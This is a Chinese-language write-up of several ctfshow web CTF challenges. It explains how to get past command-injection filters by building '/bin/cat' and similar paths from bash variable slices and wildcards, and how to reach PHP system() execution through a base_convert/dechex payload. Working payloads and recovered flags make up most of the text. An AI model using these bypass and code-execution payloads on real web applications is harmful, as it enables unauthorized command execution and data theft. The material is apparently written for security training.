解答:和web118差不多,但是这次PATH被过滤了,不能使用上一个payload了,需要重新构造。
我们先来看一下我们能用的数字有哪些:
0:可以用字符代替;
1:${#SHLVL}=1
,或者${##}
、${#?}
。
SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时
${#SHLVL}=1
,然后在此shell中再打开一个shell时${#SHLVL}=2
。
2:用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}
代替。
3:${#IFS}
=3。(linux下是3,mac里是4)
4或者5:${#RANDOM}
返回的值大多数是4和5,其中5的概率多一些。(linux下)
${PWD}
:/var/www/html
${USER}
:www-data
${HOME}
:当前用户的主目录
开始构造:可以构造一下/bin/cat
/
:${PWD::${#SHLVL}}
a
:${USER:~A}
t
:${USER:~${#SHLVL}:${#SHLVL}}
(a和t可以挑一个构造即可)
payload1:构造/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
这个可以获取到flag,就是有一些乱杂乱数据,字最后有flag
payload2:构造/???/??t ????.???
(这个就是只有flag.php的内容)
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.???
payload3:是题中给的wp:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${#xxx}
表示变量返回值的长度,如果其主目录是/root,则HOSTNAME是root,长度为4,那么${#HOSTNAME}
=4,/root
从0开始数,4位置是t。
但在实际做题过程中,上面的只是推测,不能确定HOME的值是什么,不过HOME里的第一个字符/
可以拿来用。
解答:这道题提供了源码,可以看到PATH和HOME被过滤了还有一堆字符、小写字母和数字。同时,对输入字符串的长度也进行了限制。
可以用上一题payload1:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
解答:这个题限制的更多了,不过还是留了个PWD,这里~
也被过滤了,只能正向找字符构造了。
PWD:/var/www/html
现有能用的数字有0,1,3,4、5。(具体可以看一下web119)
由于SHLVL被过滤了,那么可以用${#?}
或者${##}
代替1。
这次可以用/bin/rev
读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/
和r
字符,或者 v
。
构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
然后用一个小脚本反转一下:
str1="}96f463e39fb9-a71a-daa4-ebce-dbfd8617{wohsftc"
str2=list(str1)
str2.reverse()
flag="".join(str2)
print(flag)
#ctfshow{7168dfbd-ecbe-4aad-a17a-9bf93e364f69}
解答:这次PWD被过滤了,但是HOME可以用了。
1)/
可以通过HOME获取,需要数字1,但是#
被过滤了。
$?
是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。
为了能够让$?
可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用。
这里要说一下,我看有一些wp写的
$?
返回值的内容是linux的error
code,并不是,提示的错误是no such file or dictionary,它对应的error code 是2,但是
$?
的结果是1。
——$?
返回数据具体都有什么,这个我没有查到。
2)这次可以用命令/bin/base64
。因为,${RANDOM}
可以出现4或5,可以构造/???/?????4
。需要多试几次才能拿到flag。
base64转一下,获取flag。
ctfshow{5442e3d4-7584-4a35-99e5-0962021a82de}
解答:先审计一下代码。限制了输入长度不能超过80,设置了黑名单和白名单,白名单是一些数学函数。
白名单里有一些进制转换的函数,可以利用来构造我们需要的字符。
1)我们想要让他执行命令,如system($cmd)。为了绕过对字符的限制,可以用get或post再次传参,用白名单的字符串作为参数名。
我们需要两个参数,一个传递函数名,一个传递函数参数值。(这里选择_GET,因为长度短,题目中有长度限制)
$_GET[abs]($_GET[acos]);
也就是c=$_GET[abs]($_GET[acos]);&abs=system&acos=ls
(注:&abs=system&acos=ls
不受长度限制,它已经是另外的参数了,不是c的传参内容)
黑名单有中括号,可以用大括号{}
代替c=$_GET{abs}($_GET{acos});&abs=system&acos=ls
2)构造_GET
。因为白名单的限制,_GET
不能直接用,需要构造。
_GET
转成十六进制是0x5f474554,由十六进制转为十进制1598506324。
可以利用数学函数,由十进制转成字符。这需要用到两个函数dechex()、hex2bin()。
_GET
=hex2bin(dechex(1598506324))
dechex():十进制转十六进制
hex2bin():十六进制转二进制,返回 ASCII 字符
但是第二个函数hex2bin,白名单里没有,不过白名单里有一个base_convert。
base_convert(number,frombase,tobase):可以在任意进制之间转换数字
base_convert('hex2bin',36,10)
=>37907361743
base_convert(37907361743,10,36)
=>hex2bin
这里base_convert为什么写36进制,是因为数字一共10个,字母(不区分大小写)一共26个,为了能把所有字符都表示进来,就是10+26=36。
其实本题也可以写成34,因为hex2bin里排序最靠后的字母x
就在第34的位置。
具体可以参考十六进制:0123456789abcdef
所以_GET
=base_convert(37907361743,10,36)(dechex(1598506324))
最后设置一个变量等于_GET,挑一个白名单里最短的pi作为变量名:$pi=base_convert(37907361743,10,36)(dechex(1598506324))
最终的payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php